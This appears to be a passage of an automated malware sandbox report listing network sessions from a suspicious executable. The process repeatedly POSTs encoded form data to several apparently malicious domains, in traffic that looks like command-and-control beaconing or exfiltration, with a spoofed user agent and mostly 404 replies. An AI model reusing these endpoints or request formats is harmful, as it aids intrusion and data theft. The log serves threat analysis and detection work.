Sep 27, 2024 17:30:22.628164053 CEST	1884	OUT	POST /974s/ HTTP/1.1 Host: www.searchgpt.homes Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.searchgpt.homes Referer: http://www.searchgpt.homes/974s/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 71 70 4b 54 52 46 74 4a 53 78 2b 30 34 6d 6c 71 2f 75 54 68 79 48 47 41 79 66 4e 6a 6c 42 67 6c 38 36 66 44 7a 79 5a 77 30 45 75 75 41 41 53 55 67 72 50 67 75 6f 32 2f 53 51 33 36 57 58 6d 72 41 37 41 45 76 66 32 62 63 4b 7a 35 79 6c 4d 55 46 48 32 49 51 6d 35 4f 6e 30 47 69 5a 32 5a 47 58 64 74 6c 35 6d 64 6a 34 44 62 77 4b 4c 44 43 42 71 57 6a 52 4d 35 4f 4b 4c 49 74 53 41 46 6e 6a 54 76 45 6b 61 38 37 35 34 66 65 36 42 55 4f 7a 42 6c 63 46 65 37 7a 69 2f 69 49 64 69 31 38 31 75 48 37 4e 73 37 63 31 78 41 4a 30 55 42 6d 2b 52 31 56 73 48 72 67 32 4c 6e 35 2f 62 41 55 50 67 72 75 51 42 6e 61 45 59 77 44 74 59 36 2b 76 4a 66 48 73 6b 32 55 68 41 2b 56 61 56 65 51 50 79 38 33 36 51 38 59 71 44 6a 4e 5a 46 72 4b 42 66 77 48 68 70 44 31 37 5a 77 41 69 35 48 70 44 61 68 65 59 48 44 6c 64 72 43 75 42 58 45 61 43 76 35 2b 54 4c 42 41 63 6a 6e 39 4a 51 4f 4b 57 31 34 32 47 78 6d 6b 4a 61 56 61 32 2f 77 44 50 41 4e 4f 66 4d 52 31 5a 4c 4e 39 44 6c 4f 47 54 4f 36 6f 6b 4a 35 42 6c 67 72 50 6e 79 [TRUNCATED] Data Ascii: Ah=9qpKTRFtJSx+04mlq/uThyHGAyfNjlBgl86fDzyZw0EuuAASUgrPguo2/SQ36WXmrA7AEvf2bcKz5ylMUFH2IQm5On0GiZ2ZGXdtl5mdj4DbwKLDCBqWjRM5OKLItSAFnjTvEka8754fe6BUOzBlcFe7zi/iIdi181uH7Ns7c1xAJ0UBm+R1VsHrg2Ln5/bAUPgruQBnaEYwDtY6+vJfHsk2UhA+VaVeQPy836Q8YqDjNZFrKBfwHhpD17ZwAi5HpDaheYHDldrCuBXEaCv5+TLBAcjn9JQOKW142GxmkJaVa2/wDPANOfMR1ZLN9DlOGTO6okJ5BlgrPnySllMHZnwCMnNOKil6CPHH4gKx12fisvfBsq3hDaUeg/yde7DVHUlvO25Kgt0r+fbYjypxE5X6kkf1xWx3ei49qRJByWhNWITCHgVbzqrrVIN33VHb8fO6Mzv0Ii0KSYYc3ZyWZCX4N839HMyNkvnHjsdp8+uDM8jAa+i+OeMGG2aql5j5UIhI7i/mWM7lbNTsfDOs3CaNXJYheOLl26EVWijn8Yp+fz7gguatfDI9DeOMD4JjoMJ14Is+eUCmNuorRaU0j7cTB2DMOxmWoQshbTLO/F4HQZ/CBvkBtfRKP12OhkRrHD4Fkh0jQ6doMxOsxdENl9681SyhszgOh59FFTJ97Vv1YcS+4c0gUNViw1pOvvqeVLvvX+yt7GdlDAvGgfVsFIc6TN4jv88KydNTh55/Z4x7ObGZGQN/ZaU9FeSbSUsKkkkMTgjUBg9VaGrxlJv16IZbeFrsnv5G9Do39LgZQc5W6NT7e4gpD5szCzIpuywQmXGgEjjNjHmLiI5fKRxaBX1PVihKlkRpXMuqbsDPaaq4wctZnil4NtPzaoooxHNLHJZJbz5oQkWTAtd8lPYmvwMtqVtZNFeZrHLU3D1a2n48uUqoW5bONwUaAIp0Qcb0xbHysWA1/c96lwFnUxQ63UDxShi3oQsA3wHmU0ef2wZnHEnul [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	63695	3.33.130.190	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:25.602435112 CEST	587	OUT	GET /974s/?Ah=woBqQkVhEnZr0PORhZ6z2TjABxOeyQlLpumkFgr+omNv0XEbVjbEhcV/qAVpymWGpDThRtO2eu+z9gp0JATUVQjZP0Y2t77DZFNVy7Otm7ne66vNCWn1tABYRqLOiyRBkA==&6RGD=r8eHwnMpb2dxK HTTP/1.1 Host: www.searchgpt.homes Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Sep 27, 2024 17:30:26.054779053 CEST	409	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 27 Sep 2024 15:30:26 GMT Content-Type: text/html Content-Length: 269 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 41 68 3d 77 6f 42 71 51 6b 56 68 45 6e 5a 72 30 50 4f 52 68 5a 36 7a 32 54 6a 41 42 78 4f 65 79 51 6c 4c 70 75 6d 6b 46 67 72 2b 6f 6d 4e 76 30 58 45 62 56 6a 62 45 68 63 56 2f 71 41 56 70 79 6d 57 47 70 44 54 68 52 74 4f 32 65 75 2b 7a 39 67 70 30 4a 41 54 55 56 51 6a 5a 50 30 59 32 74 37 37 44 5a 46 4e 56 79 37 4f 74 6d 37 6e 65 36 36 76 4e 43 57 6e 31 74 41 42 59 52 71 4c 4f 69 79 52 42 6b 41 3d 3d 26 36 52 47 44 3d 72 38 65 48 77 6e 4d 70 62 32 64 78 4b 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Ah=woBqQkVhEnZr0PORhZ6z2TjABxOeyQlLpumkFgr+omNv0XEbVjbEhcV/qAVpymWGpDThRtO2eu+z9gp0JATUVQjZP0Y2t77DZFNVy7Otm7ne66vNCWn1tABYRqLOiyRBkA==&6RGD=r8eHwnMpb2dxK"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	63696	38.47.233.19	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:31.596084118 CEST	829	OUT	POST /mkti/ HTTP/1.1 Host: www.2q63f.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 203 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.2q63f.top Referer: http://www.2q63f.top/mkti/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 75 6c 37 42 42 54 6e 48 73 75 44 4f 48 4c 32 75 52 39 47 71 35 77 69 56 53 4e 53 4d 66 5a 64 37 2b 74 58 4c 31 43 62 6f 62 2b 4f 35 69 76 39 35 79 37 2f 77 67 4d 76 45 7a 45 2b 71 38 4f 57 79 76 53 54 46 4c 76 70 62 6a 33 6f 2f 4c 32 30 56 78 33 41 50 2f 74 49 4b 61 34 62 37 4e 4e 2f 44 75 6c 56 6f 4d 59 4c 66 56 48 4e 64 69 78 6e 4f 46 38 4d 5a 42 71 61 6e 74 54 33 78 4f 31 57 6c 4e 48 38 62 37 61 4e 6e 56 6b 45 31 78 4f 6d 6e 6f 63 4e 43 38 79 61 56 41 58 41 31 71 30 46 33 63 63 7a 51 73 67 63 48 56 50 6d 51 4e 51 4c 57 58 4d 75 74 63 6f 79 71 4b 59 2f 4b 32 6c 77 44 67 62 53 4b 49 68 67 3d Data Ascii: Ah=ul7BBTnHsuDOHL2uR9Gq5wiVSNSMfZd7+tXL1Cbob+O5iv95y7/wgMvEzE+q8OWyvSTFLvpbj3o/L20Vx3AP/tIKa4b7NN/DulVoMYLfVHNdixnOF8MZBqantT3xO1WlNH8b7aNnVkE1xOmnocNC8yaVAXA1q0F3cczQsgcHVPmQNQLWXMutcoyqKY/K2lwDgbSKIhg=
Sep 27, 2024 17:30:32.493469954 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 15:30:32 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	63699	38.47.233.19	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:34.146953106 CEST	849	OUT	POST /mkti/ HTTP/1.1 Host: www.2q63f.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 223 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.2q63f.top Referer: http://www.2q63f.top/mkti/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 75 6c 37 42 42 54 6e 48 73 75 44 4f 47 71 47 75 58 61 71 71 37 51 69 57 4d 64 53 4d 52 35 64 2f 2b 74 4c 4c 31 41 32 7a 62 4c 57 35 69 4f 4e 35 78 36 2f 77 74 73 76 45 34 6b 2b 56 68 2b 57 35 76 53 66 37 4c 72 74 62 6a 30 55 2f 4c 33 45 56 78 45 59 4d 35 74 49 49 47 34 62 35 44 74 2f 44 75 6c 56 6f 4d 59 76 31 56 48 46 64 69 41 58 4f 55 74 4d 61 66 61 62 56 37 44 33 78 45 6c 57 35 4e 48 38 35 37 62 52 42 56 68 49 31 78 4d 2b 6e 6f 4e 4e 64 33 79 61 66 45 58 42 48 6b 6b 51 77 64 4e 58 34 77 57 4a 79 56 39 6d 49 4d 6d 6d 38 4e 75 6d 46 50 49 65 53 61 4c 33 39 6e 56 52 71 36 34 43 36 57 32 31 6e 4a 45 48 50 74 4b 47 30 4b 4c 42 77 6f 45 46 7a 5a 4c 65 55 Data Ascii: Ah=ul7BBTnHsuDOGqGuXaqq7QiWMdSMR5d/+tLL1A2zbLW5iON5x6/wtsvE4k+Vh+W5vSf7Lrtbj0U/L3EVxEYM5tIIG4b5Dt/DulVoMYv1VHFdiAXOUtMafabV7D3xElW5NH857bRBVhI1xM+noNNd3yafEXBHkkQwdNX4wWJyV9mIMmm8NumFPIeSaL39nVRq64C6W21nJEHPtKG0KLBwoEFzZLeU
Sep 27, 2024 17:30:35.076477051 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 15:30:34 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	63700	38.47.233.19	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:36.690921068 CEST	1866	OUT	POST /mkti/ HTTP/1.1 Host: www.2q63f.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.2q63f.top Referer: http://www.2q63f.top/mkti/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 75 6c 37 42 42 54 6e 48 73 75 44 4f 47 71 47 75 58 61 71 71 37 51 69 57 4d 64 53 4d 52 35 64 2f 2b 74 4c 4c 31 41 32 7a 62 49 32 35 6a 39 56 35 6a 64 4c 77 73 73 76 45 6b 30 2b 51 68 2b 57 6b 76 53 48 6e 4c 75 31 4c 6a 79 51 2f 45 31 4d 56 7a 31 59 4d 71 4e 49 49 65 34 62 36 4e 4e 2f 57 75 6b 6b 76 4d 59 2f 31 56 48 46 64 69 43 50 4f 55 38 4d 61 64 61 61 6e 74 54 33 39 4f 31 57 64 4e 48 30 44 37 62 6c 33 56 53 41 31 77 73 75 6e 6b 66 6c 64 31 53 61 52 44 58 42 66 6b 6b 4d 2f 64 4e 62 53 77 57 56 63 56 2f 6d 49 4e 78 6a 46 52 75 53 54 63 62 75 58 5a 37 76 6e 35 51 56 70 7a 61 53 57 56 56 5a 36 4a 31 44 68 6f 4d 44 31 48 71 41 49 38 56 52 35 62 73 48 6d 59 70 5a 59 47 69 62 39 32 61 67 36 42 31 74 78 79 6e 41 54 4a 64 2b 6f 71 4f 6e 72 73 51 43 72 64 58 4c 37 6c 37 36 4f 32 47 57 55 58 30 43 6f 69 2f 67 48 63 52 6d 68 42 6e 59 50 62 51 54 52 71 42 49 64 52 4d 56 37 76 32 36 4a 64 4c 7a 53 72 4f 32 4e 35 6e 32 5a 79 58 31 32 50 32 32 44 72 55 57 63 32 52 46 71 64 4a 72 77 61 4c 52 36 76 74 46 [TRUNCATED] Data Ascii: Ah=ul7BBTnHsuDOGqGuXaqq7QiWMdSMR5d/+tLL1A2zbI25j9V5jdLwssvEk0+Qh+WkvSHnLu1LjyQ/E1MVz1YMqNIIe4b6NN/WukkvMY/1VHFdiCPOU8MadaantT39O1WdNH0D7bl3VSA1wsunkfld1SaRDXBfkkM/dNbSwWVcV/mINxjFRuSTcbuXZ7vn5QVpzaSWVVZ6J1DhoMD1HqAI8VR5bsHmYpZYGib92ag6B1txynATJd+oqOnrsQCrdXL7l76O2GWUX0Coi/gHcRmhBnYPbQTRqBIdRMV7v26JdLzSrO2N5n2ZyX12P22DrUWc2RFqdJrwaLR6vtFhunkrtZnGpEqhSrGUbqnO5v4AMqycwaN28u+yA5fFsvraIWPRVQ+02T1vYB+lOYPmdY/hDkkU/UxgSBZdoWMupeOde4qOBbaBvzZlQc+GSnDKXsCaU/hUbdRXMvfZz6zTZaRWNxaTkS1qoqYi6NuJAyweQyueh19dJ+xzOHpcnjbzrs5RMV+2WSzTsfxZRU6aSW/42C7SAMYKphh6mbQc2X8+YK93N7pwShE0fGblk8uJ7YEDgdqO+2feN0NXhTogLSNPuVl7ZbiHrcO4cym/RXa7mp6mcxEz4fEmhzuj7QdNwHsk0eJj5v7s3YvexsVAJ8t03Zcq4gy6oC1DpM+WgAbeP5UofU+9bixhy9PpatsaNcJOf+5Oex9BmX97pAk5X6UxjfbRIMPHy+2K6u9NHD/REfmNZrC2Bsgqi4z03Gaxohn6zRQ3j7bIx8iYUau+XB0Fj+98McscyfXMuzdWafYykSJdnmnpqsFOYL9qQlPltNBIJU5q41lkJC/rsKQfl8UNP9fN3l90j2QdJdkg4pWlLCBxYfgn+wBQx3BO4uI3n8k5yrMw8wiLYbjCIcfOi99cI86RYvbX/8BqyHc2kF19KI0qoiG0lj/LcIS8gnooJ9yk1tMZQylBmWquzTAIea6MJVccovxPWXQv/FqMbJPo/dauRrwSy [TRUNCATED]
Sep 27, 2024 17:30:37.596261024 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 15:30:37 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	63701	38.47.233.19	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:39.235620975 CEST	581	OUT	GET /mkti/?6RGD=r8eHwnMpb2dxK&Ah=jnThCjOJiNX3HI/1X6ra8iqRT8LvO5Bl0cjrkRPRR4aUtJ5UnZH8goi0lUnBvvC66wXnOPoFvnQ+LE8o+1Q4j9xZYpeOMfjH2lF0fJzOXlNgjT3mfY10J4nKlD3uClfrXg== HTTP/1.1 Host: www.2q63f.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Sep 27, 2024 17:30:40.119501114 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 15:30:39 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	63702	172.67.165.25	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:45.432077885 CEST	841	OUT	POST /f66t/ HTTP/1.1 Host: www.b5x7vk.agency Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 203 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.b5x7vk.agency Referer: http://www.b5x7vk.agency/f66t/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 4f 6c 52 6b 56 6a 41 64 65 6a 36 79 7a 54 58 69 4e 58 36 58 61 4a 4c 73 31 6e 39 47 47 59 46 34 34 79 50 62 67 65 35 6e 69 35 45 31 76 6f 4d 6c 77 54 50 70 68 4a 68 45 33 67 36 75 32 5a 36 39 36 67 6d 4a 6e 2f 4e 59 66 62 57 51 76 4d 75 39 4e 50 73 78 68 6a 6c 68 5a 2b 57 2b 4a 46 43 79 5a 6d 71 41 77 6b 39 4e 61 4b 41 50 4f 47 56 6e 70 41 52 48 6d 4e 4e 31 4a 6e 43 73 5a 4b 33 4d 63 5a 73 37 4f 30 39 61 49 76 58 2b 6e 79 79 78 52 63 30 4e 5a 7a 32 56 72 76 58 45 45 35 38 61 36 46 54 65 71 47 65 63 38 52 4f 44 4c 74 70 78 31 42 62 67 4a 6c 79 34 61 31 47 36 59 64 57 37 36 61 6b 6b 76 45 3d Data Ascii: Ah=9OlRkVjAdej6yzTXiNX6XaJLs1n9GGYF44yPbge5ni5E1voMlwTPphJhE3g6u2Z696gmJn/NYfbWQvMu9NPsxhjlhZ+W+JFCyZmqAwk9NaKAPOGVnpARHmNN1JnCsZK3McZs7O09aIvX+nyyxRc0NZz2VrvXEE58a6FTeqGec8RODLtpx1BbgJly4a1G6YdW76akkvE=
Sep 27, 2024 17:30:46.411181927 CEST	688	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 15:30:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6aXeM3MhiMSMnaUiXyy%2FWaGoGavnfbXxkPxmI9wQw7H3zgj9mXmFFwQVlcdcc%2B728iYBeObpIDAnQoB2wb6YqEK6odhz%2FM4Oxdc5%2FR6kXPC5Pyvw8Vmqmw9jpc2RoBB5lemxPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c896c7a1f4213-EWR Content-Encoding: gzip Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	63703	172.67.165.25	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:47.977514029 CEST	861	OUT	POST /f66t/ HTTP/1.1 Host: www.b5x7vk.agency Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 223 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.b5x7vk.agency Referer: http://www.b5x7vk.agency/f66t/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 4f 6c 52 6b 56 6a 41 64 65 6a 36 77 51 4c 58 75 50 2f 36 44 4b 4a 45 6a 56 6e 39 49 6d 59 4a 34 34 32 50 62 6b 47 70 6e 58 70 45 31 4f 59 4d 6d 30 48 50 75 68 4a 68 4d 58 67 37 67 57 5a 7a 39 36 73 55 4a 6a 2f 4e 59 62 4c 57 51 71 77 75 38 2b 33 7a 77 78 6a 6e 30 4a 2b 49 36 4a 46 43 79 5a 6d 71 41 77 42 6d 4e 62 69 41 50 2b 32 56 67 34 41 53 5a 32 4e 4d 32 4a 6e 43 6d 35 4b 7a 4d 63 5a 61 37 4f 45 48 61 4b 6e 58 2b 69 4f 79 78 44 34 7a 47 5a 7a 30 4c 62 76 43 58 55 38 59 63 4a 6f 53 45 4a 72 68 63 61 51 7a 43 39 41 44 72 58 4a 7a 7a 70 4a 4b 6f 4a 39 78 72 6f 38 2f 68 5a 4b 55 36 34 51 31 73 6c 44 69 45 70 33 52 77 69 76 72 43 48 67 36 62 73 79 39 Data Ascii: Ah=9OlRkVjAdej6wQLXuP/6DKJEjVn9ImYJ442PbkGpnXpE1OYMm0HPuhJhMXg7gWZz96sUJj/NYbLWQqwu8+3zwxjn0J+I6JFCyZmqAwBmNbiAP+2Vg4ASZ2NM2JnCm5KzMcZa7OEHaKnX+iOyxD4zGZz0LbvCXU8YcJoSEJrhcaQzC9ADrXJzzpJKoJ9xro8/hZKU64Q1slDiEp3RwivrCHg6bsy9
Sep 27, 2024 17:30:49.024214029 CEST	684	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 15:30:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I6caT3V9PUjdDFr7KSnkRmMYcOmPRirgmFmZ7F5YR7XtMVz%2FdnZVdVzDY1KWArZkw4%2BAhZTOroSyr8AQVrC6QxM25lpRCBsxV1G5MHvGmlJ38dTxkmjl1P0npITEpWF9m2FLOQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c897c8905430d-EWR Content-Encoding: gzip Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 